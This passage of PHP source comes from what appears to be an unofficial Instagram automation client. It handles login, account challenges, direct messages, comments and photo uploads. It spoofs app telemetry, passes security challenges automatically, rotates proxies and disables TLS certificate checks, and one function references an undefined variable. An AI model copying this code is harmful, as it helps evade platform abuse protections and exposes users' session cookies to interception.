                    'password'            => $this->password,
                    'login_attempt_count' => '0',
                ];


                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                $login = $this->request('accounts/login/', $postData, TRUE);

                if(isset($login[1]['message']) && $login[1]['message'] == 'challenge_required') {

                    $challenge_data = $this->request("https://i.instagram.com/api/v1" . $login[1]['challenge']['api_path'] . "?guid=" . $this->uuid . "&device_id=" . $this->device_id, NULL, FALSE, TRUE);

                    $challenge_data[1]["token"]     = $this->token;
                    $challenge_data[1]["guid"]      = $this->uuid;
                    $challenge_data[1]["device_id"] = $this->device_id;
                    $challenge_data[1]["username"]  = $this->username;
                    $challenge_data[1]["password"]  = $this->password;
                    $challenge_data[1]["api_path"]  = $login[1]['challenge']['api_path'];

                    if(isset($challenge_data[1]["step_data"]["latitude"])) {
                        $requestPosts = [
                            'choice'     => 0,
                            '_csrftoken' => $this->token,
                            'guid'       => $this->uuid,
                            'device_id'  => $this->device_id
                        ];


                        $requestPosts = Signatures::signData($requestPosts);
                        $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                        $this->request("https://i.instagram.com/api/v1" . $login[1]['challenge']['api_path'], $postData, FALSE, TRUE);

                        return $this->login(TRUE);
                    }

                    return $challenge_data[1];

                }


                if($login[1]['status'] == 'fail') {

                    throw new Exception($login[1]['message']);
                }

                $this->isLoggedIn = TRUE;
                $this->settings->set('last_login', time());
                $this->settings->save();

                return $login[1];
            }

            if(is_null($this->settings->get('last_login'))) {
                $this->settings->set('last_login', time());
                $this->settings->save();
            }

            $check = $this->getTimelineFeed();

            if(isset($check['message']) && $check['message'] == 'challenge_required') {

                $challenge_data = $this->request("https://i.instagram.com/api/v1" . $check['challenge']['api_path'] . "?guid=" . $this->uuid . "&device_id=" . $this->device_id, NULL, FALSE, TRUE);

                $challenge_data[1]["token"]     = $this->token;
                $challenge_data[1]["guid"]      = $this->uuid;
                $challenge_data[1]["device_id"] = $this->device_id;
                $challenge_data[1]["username"]  = $this->username;
                $challenge_data[1]["password"]  = $this->password;
                $challenge_data[1]["api_path"]  = $check['challenge']['api_path'];

                if(isset($challenge_data[1]["step_data"]["latitude"])) {
                    $requestPosts = [
                        'choice'     => 0,
                        '_csrftoken' => $this->token,
                        'guid'       => $this->uuid,
                        'device_id'  => $this->device_id
                    ];


                    $requestPosts = Signatures::signData($requestPosts);
                    $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                    $data = $this->request("https://i.instagram.com/api/v1" . $check['challenge']['api_path'], $postData, FALSE, TRUE);

                    if(isset($data["status"]) && $data["action"] == "close") {
                        return array("status" => "ok");
                    }

                    return $this->login(TRUE);
                }

                return $challenge_data[1];

            }

            if(isset($check['message']) && $check['message'] == 'login_required') {
                return $this->login(TRUE);
            }


            if(time() - $this->settings->get('last_login') > 1800) {
                $this->settings->set('last_login', time());
            }

            $lastExperimentsTime = $this->settings->get('last_experiments');
            if(is_null($lastExperimentsTime) || (time() - $lastExperimentsTime) > 7200) {
                $this->syncUserFeatures();
                $this->syncDeviceFeatures();
            }

            return array("status" => "ok");
        }

        public function syncDeviceFeatures($prelogin = FALSE) {
            if($prelogin) {
                $requestPosts = [
                    'id'          => Signatures::generateUUID(TRUE),
                    'experiments' => Constants::LOGIN_EXPERIMENTS
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                return $this->request('qe/sync/', $postData, TRUE)[1];
            } else {
                $requestPosts = [
                    '_uuid'      => $this->uuid,
                    '_uid'       => $this->account_id,
                    '_csrftoken' => $this->token
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                return $this->request('qe/sync/', $postData)[1];
            }
        }


        public function syncUserFeatures() {
            $requestPosts = [
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'id'          => $this->account_id,
                'experiments' => Constants::EXPERIMENTS
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


            $this->settings->set("last_experiments", time());
            $this->settings->save();

            return $this->request('qe/sync/', $postData)[1];
        }

        public function readMsisdnHeader() {
            $requestPosts = [
                'device_id'          => $this->device_id,
                'mobile_subno_usage' => 'ig_select_app'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/read_msisdn_header/', $postData, TRUE)[1];
        }

        public function getLoginReelsTrayFeed() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_csrftoken' => $this->token
            ];

            return $this->request('feed/reels_tray/', $requestPosts, TRUE)[1];
        }


        public function getLoginTimelineFeed() {

            $addHeader = TRUE;

            $requestPosts = [
                '_csrftoken'                  => $this->token,
                '_uuid'                       => $this->uuid,
                'is_prefetch'                 => "0",
                'phone_id'                    => $this->phone_id,
                'battery_level'               => "100",
                'is_charging'                 => "1",
                'will_sound_on'               => "1",
                'is_on_screen'                => "true",
                'timezone_offset'             => date('Z'),
                'is_async_ads'                => "true",
                'is_async_ads_double_request' => "false",
                'is_async_ads_rti'            => "false",
                'reason'                      => "cold_start_fetch",
                'is_pull_to_refresh'          => "0"
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('feed/timeline/', $postData, TRUE, $addHeader)[1];
        }

        public function accountsContactPointPrefill() {
            $requestPosts = [
                'phone_id'   => $this->phone_id,
                'usage'      => 'prefill',
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/contact_point_prefill/', $postData, TRUE)[1];
        }

        public function launcherSync() {
            $requestPosts = [
                '_csrftoken' => $this->token,
                'id'         => $this->phone_id
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('launcher/sync/', $postData, TRUE)[1];
        }

        public function feedReelsTray() {
            $requestPosts = [
                '_csrftoken' => $this->token,
                '_uid'       => $this->account_id,
                '_uuid'      => $this->uuid,
                'user_ids'   => [$this->account_id]
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('feed/reels_media/', $postData, TRUE)[1];
        }

        public function zrToken() {

            $postData = array();

            $url = "zr/token/result/?device_id=" . $this->device_id . "&token_hash=&custom_device_id=" . $this->phone_id;

            return $this->request($url, $postData, TRUE)[1];
        }

        public function siFetch() {

            $postData = array();

            $url = "si/fetch_headers/?challenge_type=signup&guid=" . $this->uuid;

            return $this->request($url, $postData, TRUE)[1];
        }

        public function logAcquirable() {
            $requestPosts = [
                'adid' => $this->adid
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('attribution/log_attribution/', $postData, TRUE)[1];

        }

        public function logAttribution() {
            $requestPosts = [
                'adid' => $this->adid
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('attribution/log_attribution/', $postData, TRUE)[1];

        }

        public function sendLoggingEvent() {
            $TimeHack = time() * 86400;
            $data     = '{"seq":0,"app_id":"' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID . '","app_ver":"' . Constants::IG_VERSION . '","build_num":"117303963","device_id":"' . $this->device_id . '","family_device_id":"' . $this->device_id . '","session_id":"' . $this->uuid . '","uid":"0","channel":"regular","data":[{"name":"ig_time_taken_for_qe_sync","time":"' . $TimeHack . '.787","extra":{"time_taken":108773,"pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"instagram_device_ids","time":"' . $TimeHack . '.944","extra":{"app_device_id":"' . $this->device_id . '","analytics_device_id":"' . $this->device_id . '","pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"ig_time_taken_to_create_main_activity","time":"' . $TimeHack . '.021","extra":{"time_taken":' . $TimeHack . ',"pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"step_view_loaded","time":"' . $TimeHack . '.262","module":"waterfall_log_in","extra":{"waterfall_id":"' . $this->uuid . '","start_time":' . $TimeHack . ',"current_time":' . $TimeHack . ',"elapsed_time":111796,"step":"landing","os_version":25,"guid":"' . $this->uuid . '","fb_lite_installed":false,"messenger_installed":false,"messenger_lite_installed":false,"whatsapp_installed":false,"pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"hsite_related_request_skipped","time":"' . $TimeHack . '.263","module":"waterfall_log_in","extra":{"waterfall_id":"' . $this->uuid . '","start_time":' . $TimeHack . ',"current_time":' . $TimeHack . ',"elapsed_time":111798,"os_version":25,"fb_family_device_id":"' . $this->device_id . '","guid":"' . $this->uuid . '","target":"hsite_bootstrap","reason":"connected_to_wifi","pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"landing_created","time":"' . $TimeHack . '.265","module":"waterfall_log_in","extra":{"waterfall_id":"' . $this->uuid . '","start_time":' . $TimeHack . ',"current_time":' . $TimeHack . ',"elapsed_time":111800,"os_version":25,"fb_family_device_id":"' . $this->device_id . '","guid":"' . $this->uuid . '","step":"landing","funnel_name":"landing","did_log_in":false,"did_facebook_sso":false,"fb4a_installed":false,"network_type":"WIFI","guid":"' . $this->uuid . '","device_lang":"tr_TR","app_lang":"tr_TR","pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"send_phone_id_request","time":"' . $TimeHack . '.265","module":"waterfall_log_in","extra":{"waterfall_id":"' . $this->uuid . '","start_time":' . $TimeHack . ',"current_time":' . $TimeHack . ',"elapsed_time":111800,"os_version":25,"fb_family_device_id":"' . $this->device_id . '","guid":"' . $this->uuid . '","prefill_type":"both","pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"ig_active_interval","time":"' . $TimeHack . '.281","extra":{"event_type":"user_session_unknown","start_time":' . $TimeHack . ',"end_time":0,"pk":"0","release_channel":"beta","radio_type":"wifi-none"}},{"name":"connection_change","time":"' . $TimeHack . '.289","module":"device","extra":{"state":"CONNECTED","connection":"WIFI","connection_subtype":"","pk":"0","release_channel":"beta","radio_type":"wifi-none"}}],"log_type":"client_event"}';

            $post = "message=" . $data . "&format=json";

            return $this->request('https://graph.instagram.com/logging_client_events', $post, TRUE)[1];

        }

        public function getBootstrapUsers() {

            $surfaces = [
                'coefficient_direct_recipients_ranking_variant_2',
                'coefficient_direct_recipients_ranking',
                'coefficient_ios_section_test_bootstrap_ranking',
                'autocomplete_user_list',
            ];


            $requestPosts = [
                'surfaces' => json_encode($surfaces)
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('scores/bootstrap/users/', $postData, TRUE)[1];

        }

        public function registerPushChannels() {

            $requestPosts = [
                'device_type'          => "android_gcm",
                'is_main_push_channel' => "false",
                'phone_id'             => $this->phone_id,
                'device_token'         => '',
                '_csrftoken'           => $this->token,
                'guid'                 => $this->uuid,
                '_uuid'                => $this->uuid,
                'users'                => $this->account_id
            ];

            $postData = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('push/register/', $postData, TRUE)[1];

        }

        public function getLoginRankedRecipients($mode, $showThreads, $query = NULL) {

            $requestPosts = [
                'mode'              => $mode,
                'show_threads'      => $showThreads ? 'true' : 'false',
                'use_unified_inbox' => "true"
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/ranked_recipients/', $postData, TRUE)[1];

        }

        public function getInbox() {

            $requestPosts = [
                'visual_message_return_type' => "unseen",
                'persistentBadging'          => "true",
                'use_unified_inbox'          => "true"
            ];

            $postData = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/inbox/?', $postData)[1];

        }


        public function getExploreFeed($maxId = NULL, $isPrefetch = FALSE) {

            $requestPosts = [
                'is_prefetch'     => $isPrefetch,
                'is_from_promote' => FALSE,
                'timezone_offset' => date('Z'),
                'session_id'      => Signatures::generateUUID(TRUE)
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('discover/explore/', $postData, TRUE)[1];

        }


        public function getFacebookOTA() {

            $requestGets = [
                'fields'             => Constants::FACEBOOK_OTA_FIELDS,
                'custom_user_id'     => $this->account_id,
                'signed_body'        => Signatures::generateSignature('') . '.',
                'ig_sig_key_version' => Constants::SIG_KEY_VERSION,
                'version_code'       => Constants::VERSION_CODE,
                'version_name'       => Constants::IG_VERSION,
                'custom_app_id'      => Constants::FACEBOOK_ORCA_APPLICATION_ID,
                'custom_device_id'   => $this->device_id
            ];

            $postData = NULL;

            return $this->request('facebook_ota/?' . http_build_query($requestGets), $postData, TRUE)[1];

        }

        public function getPresenceStatus() {

            $requestPosts = [];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/get_presence_disabled/', $postData, TRUE)[1];

        }

        public function FBActivity() {

            $requestPosts = [
                'choice'     => 0,
                '_csrftoken' => $this->token,
                'guid'       => $this->uuid,
                'device_id'  => $this->device_id
            ];


            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $this->request("https://i.instagram.com/api/v1" . $login[1]['challenge']['api_path'], $postData, FALSE, TRUE);

            return TRUE;

        }

        public function getQPFetch() {

            $requestPosts = [
                "vc_policy"     => "default",
                "_csrftoken"    => $this->token,
                "_uid"          => $this->account_id,
                "_uuid"         => $this->uuid,
                "surface_param" => "4715",
                "version"       => 1,
                "scale"         => 2,
                "query"         => 'viewer() {eligible_promotions.surface_nux_id(<surface>).external_gating_permitted_qps(<external_gating_permitted_qps>).supports_client_filters(true) {edges {priority,time_range {start,end},node {id,promotion_id,max_impressions,triggers,contextual_filters {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}},clauses {clause_type,filters {filter_type,unknown_action,value {name,required,bool_value,int_value, string_value},extra_datas {name,required,bool_value,int_value, string_value}}}}}},template {name,parameters {name,required,bool_value,string_value,color_value,}},creatives {title {text},content {text},footer {text},social_context {text},primary_action{title {text},url,limit,dismiss_promotion},secondary_action{title {text},url,limit,dismiss_promotion},dismiss_action{title {text},url,limit,dismiss_promotion},image.scale(<scale>) {uri,width,height}}}}}}',
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('qp/fetch/', $postData, TRUE)[1];

        }

        public function getProfileNotice() {

            $postData = NULL;

            return $this->request('users/profile_notice/', $postData, TRUE)[1];

        }

        public function getRecentActivityInbox() {

            $postData = NULL;

            return $this->request('news/inbox/', $postData, TRUE)[1];

        }

        public function getBlockedMedia() {

            $postData = NULL;

            return $this->request('media/blocked/', $postData, TRUE)[1];

        }

        public function getVisualInbox() {
            return $this->request('direct_v2/visual_inbox/')[1];
        }

        protected function getAutoCompleteUserList() {
            $requestParams = ["version" => "2"];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request('friendships/autocomplete_user_list/?' . $paramData)[1];
        }

        protected function getMegaphoneLog() {
            $requestPosts = [
                'type'       => 'feed_aysf',
                'action'     => 'seen',
                'reason'     => '',
                '_uuid'      => $this->uuid,
                'device_id'  => $this->device_id,
                '_csrftoken' => $this->token,
                'uuid'       => md5(time())
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('megaphone/log/', $postData)[1];
        }

        protected function expose() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'id'         => $this->account_id,
                '_csrftoken' => $this->token,
                'experiment' => 'ig_android_profile_contextual_feed'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $this->request('qe/expose/', $postData)[1];
        }


        public function uploadPhoto($photo, $caption = NULL) {
            $endpoint = Constants::API_URL . 'upload/photo/';
            $boundary = Utils::generateMultipartBoundary();

            $upload_id    = Utils::generateUploadId();
            $fileToUpload = file_get_contents($photo);

            $requestPosts = [
                "upload_id"         => $upload_id,
                "_uuid"             => $this->uuid,
                "_csrftoken"        => $this->token,
                "image_compression" => '{"lib_name":"jt","lib_version":"1.3.0","quality":"87"}'
            ];

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'pending_media_' . Utils::generateUploadId() . '.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];

            $index  = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }
            $result   .= '--' . $boundary . '--';
            $postData = $result;

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];


            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE);
            $this->organizeCookies($header);

            curl_close($ch);

            if($upload['status'] == 'fail') {
                throw new Exception($upload['message']);
            }


            $configure = $this->configure($upload['upload_id'], $photo, $caption);
            $this->expose();

            return $configure;
        }


        public function direct_message($recipients, $text) {
            if(empty($recipients) || empty($text)) {
                throw new Exception('Recipients or text can not be empty!');
            }
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }
            $recipient_users = implode(',', $string);

            $requestPosts = [
                "text"            => $text,
                "recipient_users" => "[[" . $recipient_users . "]]",
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/threads/broadcast/text/', $postData)[1];

        }


        public function direct_photo($recipients, $filepath, $text) {
            if(empty($recipients) || empty($filepath)) {
                throw new Exception('Recipients or file can not be empty!');
            }
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }
            $recipient_users = implode(',', $string);


            $requestPosts = [
                "recipient_users" => "[[" . $recipient_users . "]]",
                "text"            => empty($text) ? '' : $text,
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];

            $fileToUpload = file_get_contents($filepath);

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'pending_media_' . Utils::generateUploadId() . '.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];

            $boundary = Utils::generateMultipartBoundary();
            $index    = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result   = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }


            $postData = $result;
            $endpoint = Constants::API_URL . 'direct_v2/threads/broadcast/upload_photo/';

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE);
            $this->organizeCookies($header);

            curl_close($ch);

            return $upload;
        }


        public function direct_share($media_id, $recipients, $text = NULL) {
            if(!is_array($recipients)) {
                $recipients = [$recipients];
            }
            $string = [];
            foreach($recipients as $recipient) {
                $string[] = "\"$recipient\"";
            }

            $recipient_users = implode(',', $string);


            $requestParams = ["media_type" => "photo"];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));


            $requestPosts = [
                "recipient_users" => "[[" . $recipient_users . "]]",
                "media_id"        => $media_id,
                "text"            => empty($text) ? '' : $text,
                "action"          => "send_item",
                "client_context"  => Signatures::generateUUID(TRUE),
                "_csrftoken"      => $this->token,
                "_uid"            => $this->account_id
            ];
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('direct_v2/threads/broadcast/media_share/?' . $paramData, $postData)[1];
        }


        protected function configure($upload_id, $photo, $caption = '') {
            $size = getimagesize($photo)[0];

            $requestPosts = [
                '_csrftoken'   => $this->token,
                '_uid'         => $this->account_id,
                '_uuid'        => $this->uuid,
                'edits'        => [
                    'crop_original_size' => [
                        $size,
                        $size
                    ],
                    'crop_zoom'          => 1.3333334,
                    'crop_center'        => [
                        0.0,
                        -0.0
                    ],
                ],
                'device'       => [
                    'manufacturer'    => $this->device->getManufacturer(),
                    'model'           => $this->device->getModel(),
                    'android_version' => $this->device->getAndroidVersion(),
                    'android_release' => $this->device->getAndroidRelease(),
                ],
                'extra'        => [
                    'source_width'  => $size,
                    'source_height' => $size,
                ],
                'caption'      => $caption,
                'source_type'  => "4",
                'media_folder' => 'Camera',
                'upload_id'    => $upload_id,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


            return $this->request('media/configure/', $postData)[1];
        }

        public function editMedia($mediaId, $captionText = '') {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                '_csrftoken'   => $this->token,
                'caption_text' => $captionText,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/edit_media/", $postData)[1];
        }


        public function removeSelftag($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("usertags/$mediaId/remove/", $postData)[1];
        }


        public function getMediaInfo($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/info/", $postData)[1];
        }

        public function getBroadcastInfo($broadcastId) {
            return $this->request("live/" . $broadcastId . "/info/")[1];
        }

        public function getBroadcastHeartbeatAndViewerCount($broadcastId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("live/" . $broadcastId . "/heartbeat_and_get_viewer_count/", $postData)[1];
        }

        public function deleteMedia($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/delete/", $postData)[1];
        }


        public function comment($mediaId, $commentText) {
            $requestPosts = [
                'user_breadcrumb'   => Utils::generateUserBreadcrumb(mb_strlen($commentText)),
                'idempotence_token' => Signatures::generateUUID(TRUE),
                '_uuid'             => $this->uuid,
                '_uid'              => $this->account_id,
                '_csrftoken'        => $this->token,
                'comment_text'      => $commentText,
                'containermodule'   => 'comments_feed_timeline',
                'radio_type'        => 'wifi-none'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/comment/", $postData)[1];
        }


        public function deleteComment($mediaId, $commentId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/comment/$commentId/delete/", $postData)[1];
        }

        public function changeProfilePicture($photo) {
            if(is_null($photo)) {
